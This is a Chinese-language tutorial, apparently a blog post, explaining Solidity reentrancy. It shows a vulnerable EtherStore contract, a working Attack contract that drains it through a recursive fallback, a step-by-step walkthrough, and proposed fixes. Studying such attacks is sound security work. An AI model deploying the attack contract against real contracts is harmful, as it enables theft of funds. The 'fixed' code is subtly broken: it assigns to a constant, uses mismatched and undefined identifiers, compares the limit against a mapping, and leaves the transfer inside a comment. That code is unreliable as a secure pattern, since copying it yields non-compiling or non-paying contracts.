重入 (Re-Entrance) 攻击漏洞是以太坊中的攻击方式之一,早在 2016 年就因为 The DAO 事件而造成了以太坊的硬分叉。
漏洞概述
在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,这些外部调用可以被攻击者劫持,从而迫使合约执行更多的代码(即通过 fallback 回退函数),包括回调原合约本身。所以,合约代码执行过程中将可以“重入”该合约重入攻击本质上与编程里的递归调用类似.
发生重入攻击漏洞的条件有 2 个:
调用了外部的合约且该合约是不安全的
外部合约的函数调用早于状态变量的修改
相关概念:
1.转账方法
.transfer():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。
.send():只会发送 2300 gas 进行调用,当发送失败时会返回布尔值 false,从而防止了重入攻击。
.gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。
2.fallback 函数
回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值 回退函数在以下几种情况中被执行:
function() public payable(){}
*调用合约时没有匹配到任何一个函数;
*没有传数据;
*智能合约收到以太币(为了接受以太币,fallback 函数必被标记为 payable)
漏洞详解
etherstore代码
pragma solidity ^0.4.19;
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); //限制取回金额不能超过1ether require(_weiToWithdraw <= withdrawaLimit); //限制每周取一次 require(now >= lastWithdrawTime[msg.sender] + 1 weeks); require(msg.sender.call.value(_weiToWithdraw)()); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; }}
depositFunds() 和 withdrawFunds() 。depositFunds() 函数是累计发送者余额。withdrawFunds() 函数允许发送者指定要提取的以太币数量,要求提取的金额小于或等于1个以太币且在一周内没有发生提取时。
attack代码
pragma solidity ^0.4.22; import "./EtherStore.sol";
contract Attack{
EtherStore public etherStore;
//EtherStore合约地址作为构造参数来创建攻击该合约
constructor(address _etherStoreAddress){
etherStore = EtherStore(_etherStoreAddress);
}function pwnEtherStore() public payable{ //发起攻击需要启动资金 require(msg.value >= 1 ether); //调用depositFunds函数充值 etherStore.depositFunds.value(1 ether)(); //启动攻击 etherStore.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } //fallback 函数 秘密所在 function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } }}
攻击者将使用 EtherStore 的合约地址作为构造函数参数创建上述合约
攻击者将调用 pwnEtherStore() 函数
==>EtherStore 合约的 depositFunds() 函数被调用
==>恶意合约将使用1 ether的参数调用EtherStore合约的withdrawFunds()函数。(这将通过EtherStore合约的第[12] - [16]行)
==>合约将1以太币发回恶意合约
==>发送给恶意合约的以太币将执行回退函数
==>EtherStore 合约的总余额为n个以太币,现在为n-1(假设大于1)个以太币,if语句通过
==>回退函数再次调用 EtherStore 的 withdrawFunds() 函数并“重新进入” EtherStore 合约
==>在第二次调用 withdrawFunds() 时,我们的余额仍为1以太,因为第18行尚未执行
==>我们提取另外1个以太币
==>将重复- 直到 EtherStore.balance<= 1
==>将设置 balances 和 lastWithdrawTime 映射,执行将结束
两个合约成功部署截图
执行攻击成功(由于博主心疼钱钱,只转了一个ether)
正确的操作是 先存入n个币, 然后执行攻击后会取出n-1个
解决办法
使用其他转账函数
在进行以太币转账发送给外部地址时使用 Solidity 内置的 transfer() 函数
如果用户的目的只是向目标地址转账,那么一定要使用transfer函数,而不是用来执行消息调用(函数调用)的call函数
先修改状态变量
确保在外部函数调用之前修改相应的智能合约状态变量(并且要在修改状态变量之前做严格的检查),而不要在外部函数调用之后再修改,因为用户无法控制外部函数的行为。
使用互斥锁 添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。
使用拒绝重入模板合约。
代码【参考网络】
pragma solidity ^0.4.24;
contract ReentrancyGuard{
uint private constant REENTRANCY_GUARD_FREE = 1; uint private constant REENTRANCY_GUARD_LOCKED = 2;
uint private constant reentrancylock = REENTRANCY_GUARD_FREE;
modifier nonreentrant(){
require(reentrancylock == REENTRANCY_GUARD_FREE);
reentrancylock = REENTRANCY_GUARD_LOCKED;
_;
reentrancylock = REENTRANCY_GUARD_FREE;
}}
应用后的EtherStore合约。
import "ReentrancyGuard"
contract EtherStore is ReentrancyGuard{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
//withdrawFunds函数声明为nonReentrant
function withdrawFunds (uint256 _weiToWithdraw) public nonReentrant {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw); //限制取回金额不能超过1ether require(_weiToWithdraw <= lastWithdrawTime); //限制每周取一次
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
//修改msg.sender余额状态和取款时间后才进行转账操作 msg.sender.transfer(_weiToWithdraw);
}}